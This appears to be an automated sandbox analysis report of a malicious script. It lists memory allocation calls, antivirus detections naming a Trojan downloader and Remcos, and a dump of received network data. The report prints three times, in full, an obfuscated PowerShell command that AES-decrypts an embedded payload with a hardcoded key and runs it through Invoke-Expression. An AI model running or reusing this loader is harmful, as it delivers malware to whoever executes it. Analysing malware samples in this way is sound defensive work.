stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02664000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02665000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02666000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02667000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02668000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02669000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05000000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05001000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05002000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05003000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05004000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05005000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05006000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05007000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05008000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05009000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0500a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0500b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0500c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0500d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0500e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0500f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05010000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05011000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05012000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05013000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05014000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31288118537265901671092296545801CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI9qzw9rWNQXNXTkOMi91Vo37XNXwKsDkID6RFqNMIb+XDhn4Y5AbEg30f25b/EyGdGGjWsHDIIox1WuVuUdOUadjhme+5zvVV44oiyworfCO2lfsB1IQVwYt2W3SwF0Ux7M7imAEKs79W60z/0ynAsj8hj2vt/lnFQIiUMLXwxtg0ygxaA1q2xZSJwwSMDWyzIontKVe2xHt1HI77rYSt/VnOayqQ2yg7Mp48pY+uj2EZP74FtBnkcE9p92gZJxz+peJ+AKTzl7JeqJQuodXWFmK9sgGK4n13RybKFC+dVb8O8Krc/u05EdmP8zqWyMN4CIIIo6bc+uy3dadl98BZbD0z03uf3Oz6xO+gLfn9tOR1YKsukLXT2OScPDC2jP9f9Yqq+KSXQNHugPnILvW7k+DBL1ZjUxKLNlvCe0NOpwgh8+75a/DTYGBpNBdkSv6BeMFiZTOcAGGEAB5TlZIOZzRTBw8GIX57ryKhBD+OOgtPd2gLFQriTRl2LIoUqCZ1NdzqGQpGwwf4BXbnED2n7yIY2OKKYAovsduKNeTRlypT3jEkMxq1Z51SmOLPNtSqgYjTlhY1Pf+4wEgtf5RvJnRdkbil32H7SckZeqIf4a57uzHIqbcG+bjJT0/Q8jk0lXBCRIMGQd1Frr3sKLigZVlZV51M8hR24sv8ALa2EgO+gSMuthSXw3J2JazJgRKFhsjaMNJMFeeAuPC9u3bhyNRUUxtNbaEkf5p/2U/Td9f3luetP2LV6G1qctY5iGj1puWd+7Oa1A9Jx8sKWBfK7ssUEzfA5tRfwJs+Yig4neb6zjDL+RrpEHNFlkE8+TDOUhcNUOaaxmdagb669MaY6AUHuBGbW4T3clqQY3KqMWiWxvWFBjhAXh4oSmZFSY/+TaEY+Bjm7AbSBTspTWmyfY2HbT2L5cOwDGAAmIx3UR2NUByK70uEAvM2Yz5ioHv8hB18Qc2MMkbxqSrhFr41oRCPhdCx89cUfnKhXUDDd2TkPICClvjRXaMqZ9/NY0GbTYZhUyGeiljzB9o333Pd4tXJeCeAXf7pdSIB5lulheY+jHzCGimEp3VVl2AkjOwPbeoJhwjAUV22t+K1mLSHCLkb+kxdZ8PTVzqfErU5M/wAcukzKiEIWL67nmNrbrCQr0n4yiBww55JzH6QlqH4bo8R3wkrh+6GeX2DuozRIcrO+EJkFIyPGqzNOLbPmOMp2ywAQFZmKLtSNxMb1p4gtH1hzuGDw855hxFyyAs5y4m0NtXFrTGbDRUXgJ0rYRgPSAr/DFlNfYC4xRFI4A4HllUDOPIr2vsL8x87drooa8oqLFJuRFU8yqTyYdo3WNhu0QjHhbWlwKo+VZRctR1fsH+/yM/e99xk2kRcHOemzLzjSfiD4PKV4nvV6jwTReR+4NtyQtYW+KGUdbNqX7Wd4A==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31288118537265901671092296545801CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI9qzw9rWNQXNXTkOMi91Vo37XNXwKsDkID6RFqNMIb+XDhn4Y5AbEg30f25b/EyGdGGjWsHDIIox1WuVuUdOUadjhme+5zvVV44oiyworfCO2lfsB1IQVwYt2W3SwF0Ux7M7imAEKs79W60z/0ynAsj8hj2vt/lnFQIiUMLXwxtg0ygxaA1q2xZSJwwSMDWyzIontKVe2xHt1HI77rYSt/VnOayqQ2yg7Mp48pY+uj2EZP74FtBnkcE9p92gZJxz+peJ+AKTzl7JeqJQuodXWFmK9sgGK4n13RybKFC+dVb8O8Krc/u05EdmP8zqWyMN4CIIIo6bc+uy3dadl98BZbD0z03uf3Oz6xO+gLfn9tOR1YKsukLXT2OScPDC2jP9f9Yqq+KSXQNHugPnILvW7k+DBL1ZjUxKLNlvCe0NOpwgh8+75a/DTYGBpNBdkSv6BeMFiZTOcAGGEAB5TlZIOZzRTBw8GIX57ryKhBD+OOgtPd2gLFQriTRl2LIoUqCZ1NdzqGQpGwwf4BXbnED2n7yIY2OKKYAovsduKNeTRlypT3jEkMxq1Z51SmOLPNtSqgYjTlhY1Pf+4wEgtf5RvJnRdkbil32H7SckZeqIf4a57uzHIqbcG+bjJT0/Q8jk0lXBCRIMGQd1Frr3sKLigZVlZV51M8hR24sv8ALa2EgO+gSMuthSXw3J2JazJgRKFhsjaMNJMFeeAuPC9u3bhyNRUUxtNbaEkf5p/2U/Td9f3luetP2LV6G1qctY5iGj1puWd+7Oa1A9Jx8sKWBfK7ssUEzfA5tRfwJs+Yig4neb6zjDL+RrpEHNFlkE8+TDOUhcNUOaaxmdagb669MaY6AUHuBGbW4T3clqQY3KqMWiWxvWFBjhAXh4oSmZFSY/+TaEY+Bjm7AbSBTspTWmyfY2HbT2L5cOwDGAAmIx3UR2NUByK70uEAvM2Yz5ioHv8hB18Qc2MMkbxqSrhFr41oRCPhdCx89cUfnKhXUDDd2TkPICClvjRXaMqZ9/NY0GbTYZhUyGeiljzB9o333Pd4tXJeCeAXf7pdSIB5lulheY+jHzCGimEp3VVl2AkjOwPbeoJhwjAUV22t+K1mLSHCLkb+kxdZ8PTVzqfErU5M/wAcukzKiEIWL67nmNrbrCQr0n4yiBww55JzH6QlqH4bo8R3wkrh+6GeX2DuozRIcrO+EJkFIyPGqzNOLbPmOMp2ywAQFZmKLtSNxMb1p4gtH1hzuGDw855hxFyyAs5y4m0NtXFrTGbDRUXgJ0rYRgPSAr/DFlNfYC4xRFI4A4HllUDOPIr2vsL8x87drooa8oqLFJuRFU8yqTyYdo3WNhu0QjHhbWlwKo+VZRctR1fsH+/yM/e99xk2kRcHOemzLzjSfiD4PKV4nvV6jwTReR+4NtyQtYW+KGUdbNqX7Wd4A==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell.exe
parameters: -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31288118537265901671092296545801CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI9qzw9rWNQXNXTkOMi91Vo37XNXwKsDkID6RFqNMIb+XDhn4Y5AbEg30f25b/EyGdGGjWsHDIIox1WuVuUdOUadjhme+5zvVV44oiyworfCO2lfsB1IQVwYt2W3SwF0Ux7M7imAEKs79W60z/0ynAsj8hj2vt/lnFQIiUMLXwxtg0ygxaA1q2xZSJwwSMDWyzIontKVe2xHt1HI77rYSt/VnOayqQ2yg7Mp48pY+uj2EZP74FtBnkcE9p92gZJxz+peJ+AKTzl7JeqJQuodXWFmK9sgGK4n13RybKFC+dVb8O8Krc/u05EdmP8zqWyMN4CIIIo6bc+uy3dadl98BZbD0z03uf3Oz6xO+gLfn9tOR1YKsukLXT2OScPDC2jP9f9Yqq+KSXQNHugPnILvW7k+DBL1ZjUxKLNlvCe0NOpwgh8+75a/DTYGBpNBdkSv6BeMFiZTOcAGGEAB5TlZIOZzRTBw8GIX57ryKhBD+OOgtPd2gLFQriTRl2LIoUqCZ1NdzqGQpGwwf4BXbnED2n7yIY2OKKYAovsduKNeTRlypT3jEkMxq1Z51SmOLPNtSqgYjTlhY1Pf+4wEgtf5RvJnRdkbil32H7SckZeqIf4a57uzHIqbcG+bjJT0/Q8jk0lXBCRIMGQd1Frr3sKLigZVlZV51M8hR24sv8ALa2EgO+gSMuthSXw3J2JazJgRKFhsjaMNJMFeeAuPC9u3bhyNRUUxtNbaEkf5p/2U/Td9f3luetP2LV6G1qctY5iGj1puWd+7Oa1A9Jx8sKWBfK7ssUEzfA5tRfwJs+Yig4neb6zjDL+RrpEHNFlkE8+TDOUhcNUOaaxmdagb669MaY6AUHuBGbW4T3clqQY3KqMWiWxvWFBjhAXh4oSmZFSY/+TaEY+Bjm7AbSBTspTWmyfY2HbT2L5cOwDGAAmIx3UR2NUByK70uEAvM2Yz5ioHv8hB18Qc2MMkbxqSrhFr41oRCPhdCx89cUfnKhXUDDd2TkPICClvjRXaMqZ9/NY0GbTYZhUyGeiljzB9o333Pd4tXJeCeAXf7pdSIB5lulheY+jHzCGimEp3VVl2AkjOwPbeoJhwjAUV22t+K1mLSHCLkb+kxdZ8PTVzqfErU5M/wAcukzKiEIWL67nmNrbrCQr0n4yiBww55JzH6QlqH4bo8R3wkrh+6GeX2DuozRIcrO+EJkFIyPGqzNOLbPmOMp2ywAQFZmKLtSNxMb1p4gtH1hzuGDw855hxFyyAs5y4m0NtXFrTGbDRUXgJ0rYRgPSAr/DFlNfYC4xRFI4A4HllUDOPIr2vsL8x87drooa8oqLFJuRFU8yqTyYdo3WNhu0QjHhbWlwKo+VZRctR1fsH+/yM/e99xk2kRcHOemzLzjSfiD4PKV4nvV6jwTReR+4NtyQtYW+KGUdbNqX7Wd4A==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
filepath: powershell.exe
1 1 0
Symantec ISB.Downloader!gen40
Avast Script:SNH-gen [Trj]
Kaspersky HEUR:Trojan-Downloader.Script.Generic
NANO-Antivirus Trojan.Script.Vbs-heuristic.druvzi
Microsoft Trojan:VBS/Remcos.RTDC!MTB
ZoneAlarm HEUR:Trojan-Downloader.Script.Generic
AVG Script:SNH-gen [Trj]
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received ¸5’6½‘ßmÿæÉtH÷ÈOtþ¸‘ÔAlFæ ‚O°8Ç­ÍÇ!5ðÿ՗›V¬B´.TñÎßï‹F!•”Š%ÔeuClŒ°0ñ‰tÁ"†þcìp:dfÕDQÁ”~¸Üª¯‚¢·wù`´F$×F’*ñ ªùàj2T´¬Y¸ŽÝxÉ)*È1 Üádr²µŠ^ß®%ˆ™÷)M ï€e!¢$¸Éã¾ )fq¹˜žMšÀɬæ]À)k±Üó“$è°Hê³é՘4’^ëãu÷ùà¾äáՌ”ƒ1¨Ð¶™\Û[]›ätÓ¢„p8œ>é/w›ÁÏᥝJ?©ºƒ_ßY‘iBÑí’ì<Û;zq}o9<<©>c ï]p¿sÓ¬ûC†R¿ ÿ̈́Ó,3‰r“é݇ŽÚI©¥,ù`eϦ¯¡½=qŸZ±á ~£¿uÚîFà='ÓÓ/á‚7×3Ä)QZ¹®ã¶֞0—r6Žù•âû"Ói ¡—ÕóÍ+ěVgxØ_&/Îæ`b–ä÷¼j+ÜéjÆãG鋍îµí›§Ó¿‡BÌ)••ÀAß{XuR*©»å òi–P^ˆ7ûç?†¹yA™Jî%{bRÆèÛX“^øÉ ¬îÜ(Öiè5zX¼:PAGæØu9ˆWkW\;²}Ë`1}ÃåXÒk›I!+êR:ØN£ï™ '1…ÓNñoXœ¨îÏ¯3²¨â—X.Iøœº!bA W¾I¥}^ D‡“É? ‹M¨œ¯–Œ×Â××I*,M+-°!@?ÍY—S¥€@ˆ£oíOëŒéuPO§X¤…DËÖ^Ýð<ëFÑÇ!¥x5ß-ïFÀ0j«í›~#¡mB,‘DªŠ„Qec˜¾N¢¤@–GQߧ¶Ñ<HI¢jû,º™¤%O¾›Jú¡´U÷ä}26î„Æçl‘µ^1_ƒ«-·¤ºsܘ¢'h x$gŒû8|¿Ó£F7jqÔzN{—ó$’K4íR{àg˽ŽÓ´ì2}A¼4º]Aˆ¨>¥ü\ഉ.ݲ8nÀàaÆ}¨Ö_-å #· ‰J„xÉGÞ¡ò8ûÍ›ín¬LÅwFª¤{íSý3?]2Gâr̬Vx^ïÙNŸjbò>鰑¸1#þ_í‡oHáŠB ;(,¿ÅñušÅ‹S=ùmb1í@ž«I Ó´C"°b9ä`!¦ÕjµSÅ7mÍü³IÐ$!lÕñ•‘dWª¥G·ÈA$tÀŽ01<JYb’ bzKÚîkÇ™¸²rC ÂІ`O'±É’ƒKDíc‚AýpQ!Ri¯Úñ9ö²–ŘP¾ØX…©»1÷öÀÌ¡fÝæ,ôÑ/› .¤°ãé‹:<LÍ*‘ÏÃ)XZœÙ>Ÿ–Œ°‚ܯBG8á77¬nød,êP‹Zâ†rC ֘ʑæñ˜âV YB‹#ßx´é­¦Û°ÃG¢VR0 ÖûdˆwM¼Èܞ:m#Y·×‡Fšk#“ÓéVW X¨Žpژ‹M Xš¢óđ6ê%F‘‰¿OHsfþ™YÐ2meäd22ÌAsð¼º[ ’aÐÖú}:9>ŸRô8Ük!C»¨é•ŒRCß,2Pmf,zü0/¦%¤4;XȖ"ÑôRËÀ¬ÔDVEò؏FÓñøæc§Ô7<T{à]±½X…qðÔOº%C7=1IcÝ8rMm¾1Ȕ »ÒG$ö²ÂŠ›ÃÑ>–(© Ž‰úÃê%fØÈã £B »éšP¹õ2š•V!C]ão•12SÓÕ)hITlÒĬþ·R½°º<jŀ`Jõ0:d ‡4z‚1÷”4&ґ¹ï‘€®›L‚–\àµ:?»>øNÕºÛíDuƒcpÒ}ÎR¶A`lõÀ@\€ÉÃím£sL^ ]CƒÓ°ÂêÀ ¼ç`ꃭŒš—®Ò}ò$h¢ ©´ß_W8»±:• µÁÀp®å$Ù5‚dZ[5ۜºçA³_1f×Hò)3Yä8Ë rD¨†ã‹F–òÏâííŽD«&™œ¨R¦öœ]õ ´D¦@†²hÓ$²Ôƒ•ugPàÀXÖՓN®A=hôÀ·žY¶b¿,²&蝂‘C¸ÄøiH¾¸ûH°0I´0èH;SÈË¢@|2ԕ%½°Ú½b*©˜^s5Q<ċHÁöæ°/¯¦PãÒzÄ¡ˆî { Õ:t*Ŗï­æv¢6Hƒ¡ôƒÛ°Àb-ˆ dW‚3»#pÌo¹¼í;†B§’G …RŒA;NI,Š‹´]ö¬'›"¶„·np{YPm&ÇPqˆØ• Æ꼆Vh]DD8+g߃…HåH̛9£ø³¤û·Žá»·¾ &)Y[p= àtM¹JÑ}…ãÓê —xUéUdà ÑÌÓ;ï¿p8Íh¾ÏkSÿ²\V5p“îz7¶†•£ƒÂ• 6æz,ÈQ=ùø¸ðý:’…Äæè/{tùãz]‹ eWÒȪ„(¨èžOø½ó‹—ž•|Ý"߈ë"¤uü]0<ï‰øÍc5ˆ@¶ÝÅa˜OT, >ª¬ö’i<Ö,ÒéwªµÞ®.x5ß<ÌúY¼³b KK:zׯ=(ï–Ü+ž˜uÐÎG ¾—:_þl²h§SLÐU_3§þ¬Ã*­ÖXc× º9l±0y¯=?õa’VQOv©ÓÿVô˜ó•*‘­òoßò¥ꊾ©þG iep´;OBfAü΁\­`tÉò…ƒŽ $ŠKƒå÷„ÿՒÚyV ÌÑUŽU'¯°?ëœb‰¥€ŽµÉìk´kÏ8ðÑÊÒQ“M´ÇÞÿVTè¥fUiÀ³ÿϏ§üß ("¬e6õoÚ±Á¥–…<ÿùtéÓüYË£œò$ÓÛ÷éÿ«^òÌê;cº_ :؞YG¥‹–•zü"ºžŸžNŸÃgÖ´ˆd‰Q@.âEmƒÜ€~¥:y…`ŽH“G§  ,6¨< ÿkã×¹!•âY ßƋˆÔYT[¾'¯Èâ­´J@¼ÐÕ¬ÈшÕv®ù”3rĖ®Éä~Câ°ÓHƒ™tô{yéÿ«2)¹&¶4î%Ň*»ÈçD×÷I w¾OÿoOýY ¤•cА¾Ó#~°†Yõ #C$áMÍ+ÐXÀ³þ FDZƒ;Y¦‰UP»´ÌlØVïӓù{b §–Hw£B<ܪ¤ˆ,2I"©%¡ .ê'O£s€ê™¼¥óD.(iò õ“\žÝ33\…g`X±âٚÏ÷¯žs»6œ!$ªG<s_ž,x £É'ƒƒš¾éR3)çå™J,æçéaÔE(–#! 6û HušR¡iHoÃuW™ùÝ#ÚÀ·,:æäÞ‘2ƒ´°´]Åg™“I8Dl,…àUŸåxÕØm¡öÕß ¸Äâö³0Ú·D^M¦o%¶Ú–'su ¡ê±³$ãp jTUœ‰ÎŒI#"Þ’ª_‡8¾›WjØo’Ø7pÐ(A ÕgŸžf™nÁ끬ÚÅõ¤4Ò7`†;#;È7{_ñe4­‰€ Hxº¬‰N¦P9e®kœ Å ªv½z¢äšPrQâØR²Fÿžs´`â8 ìÚۏá=F2ž¥^¿ 